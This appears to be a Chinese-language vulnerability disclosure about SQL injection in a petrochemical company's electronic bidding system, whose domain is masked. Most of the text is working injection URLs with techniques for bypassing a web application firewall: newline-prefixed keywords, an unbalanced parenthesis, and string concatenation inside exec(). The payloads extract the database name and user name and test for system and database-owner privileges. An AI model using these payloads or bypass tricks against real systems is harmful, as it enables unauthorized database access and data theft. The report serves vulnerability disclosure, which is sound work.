某石化电子招标系统存在注入漏洞

该系统被用来发布招标公告、通知、中标候选人公示、中标结果公告等重要信息

该系统有WAF,但是规则过滤不严格 可以突破规则进行注入

http://eb.xxxxx.com/TPWeb/Showinfo/SearchResult.aspx?keyword=(%27%0Aand%20@@SERVERNAME%3E1--&searchtype=1

参数keyword过滤不严格,其中过滤了() select from等等关键字


对于select等关键字可以在其前面加%0a绕过

对于() 应该是正则匹配成对括号然后过滤,可以多构造一个( ,绕过比如(';exec('select%0acount(*)%0af'%2b'rom%0alabeng%0awhere%0alala>1')--


对于其他关键字的绕过 直接在exec里面 用字符拼接绕过,比如这里的from :exec('select%0acount(*)%0af'%2b'rom%0alabeng%0awhere%0alala>1') 


报数据库名:


1.png




http://eb.xxxxx.com//TPWeb/Showinfo/SearchResult.aspx?keyword=%28%27;exec%28%27select%0A1%0Awhere%0A1=%28select%0Aname%0Afr%27%2b%27om%0Amas%27%2b%27ter.d%27%2b%27bo.sysd%27%2b%27atabases+where+dbid=1%29%27%29--&searchtype=1

2.png


user_name:

3.png


判断是否为系统权限:

4.png

返回空白表示条件为假,有信息返回表示为系统权限


判断是否有数据库管理权限

5.png

返回为真